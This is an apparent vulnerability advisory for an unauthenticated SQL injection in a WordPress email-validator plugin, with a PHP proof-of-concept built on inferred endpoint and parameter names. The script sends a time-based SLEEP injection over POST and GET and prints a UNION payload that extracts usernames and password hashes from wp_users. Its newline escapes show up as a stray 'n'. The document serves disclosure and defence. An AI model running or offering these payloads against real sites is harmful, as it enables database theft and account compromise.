Atomic Edge analysis of CVE-2025-68017 (metadata-based):
The Antideo Email Validator WordPress plugin, versions up to and including 1.0.10, contains an unauthenticated SQL injection vulnerability. This flaw exists in a plugin endpoint that processes user-supplied parameters without proper sanitization. The CVSS 3.1 score of 7.5 (High) reflects the network-based attack vector, low attack complexity, and high impact on confidentiality.
Atomic Edge research indicates the root cause is improper neutralization of special elements in an SQL command (CWE-89). The vulnerability description states insufficient escaping on a user-supplied parameter and lack of sufficient preparation on an existing SQL query. This suggests the plugin likely constructs SQL queries by directly concatenating user input into the query string, bypassing WordPress’s $wpdb->prepare() method. These conclusions are inferred from the CWE classification and public description, as no source code diff is available for confirmation.
Exploitation occurs via an unauthenticated HTTP request to a specific plugin endpoint. Attackers inject malicious SQL payloads through a vulnerable parameter. The most probable attack vector is a WordPress AJAX handler accessible without authentication (wp_ajax_nopriv_). The endpoint is likely /wp-admin/admin-ajax.php with an action parameter containing a value like antideo_email_validator_*. The vulnerable parameter could be named email, address, or query. Attackers use UNION-based or time-based blind SQL injection payloads to extract data from the WordPress database.
Remediation requires implementing proper input validation and parameterized queries. The patched version (1.0.11) likely replaced direct string concatenation with $wpdb->prepare() statements. Developers should also enforce strict data type checking on the user-supplied parameter and implement proper capability checks for authenticated endpoints. WordPress security best practices mandate using $wpdb methods for all database operations.
Successful exploitation allows complete compromise of database confidentiality. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), personally identifiable information, API keys, and other plugin data. The unauthenticated nature broadens the attack surface to any site visitor. While the CVSS vector indicates no impact on integrity or availability, data exfiltration can lead to subsequent attacks like credential stuffing or privilege escalation.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68017 - Antideo Email Validator <= 1.0.10 - Unauthenticated SQL Injection
<?php
/**
* Proof of Concept for CVE-2025-68017
* Assumptions based on WordPress plugin patterns:
* 1. The plugin registers an AJAX handler accessible without authentication (wp_ajax_nopriv_)
* 2. The vulnerable parameter is passed via POST/GET to admin-ajax.php
* 3. The action parameter contains the plugin slug or a derivative
* 4. SQL injection is possible via a parameter like 'email' or 'address'
*/
$target_url = "https://vulnerable-site.com/wp-admin/admin-ajax.php"; // CHANGE THIS
// Common AJAX action names derived from plugin slug
$possible_actions = [
'antideo_email_validator',
'antideo_validate_email',
'validate_email_antideo',
'antideo_check_email'
];
// Time-based blind SQL injection payload (MySQL)
// Tests for vulnerability by causing a time delay if injection succeeds
$payload = "' OR SLEEP(5)-- ";
foreach ($possible_actions as $action) {
echo "[+] Testing action: $actionn";
$post_data = [
'action' => $action,
'email' => $payload, // Most likely parameter name
'address' => $payload, // Alternative parameter name
'query' => $payload // Another possible parameter
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
if ($elapsed >= 5) {
echo "[!] VULNERABLE - Time delay detected for action '$action'n";
echo " Response time: {$elapsed}sn";
echo " Sample UNION payload for data extraction:n";
echo " ' UNION SELECT user_login,user_pass FROM wp_users-- n";
break;
} else {
echo " No vulnerability detected (response time: {$elapsed}s)n";
}
curl_close($ch);
}
// Alternative: Test with GET parameters if POST fails
echo "n[+] Testing GET parameters...n";
foreach ($possible_actions as $action) {
$get_url = $target_url . "?action=" . urlencode($action) . "&email=" . urlencode($payload);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $get_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
if ($elapsed >= 5) {
echo "[!] VULNERABLE via GET - Time delay detected for action '$action'n";
break;
}
curl_close($ch);
}
?>
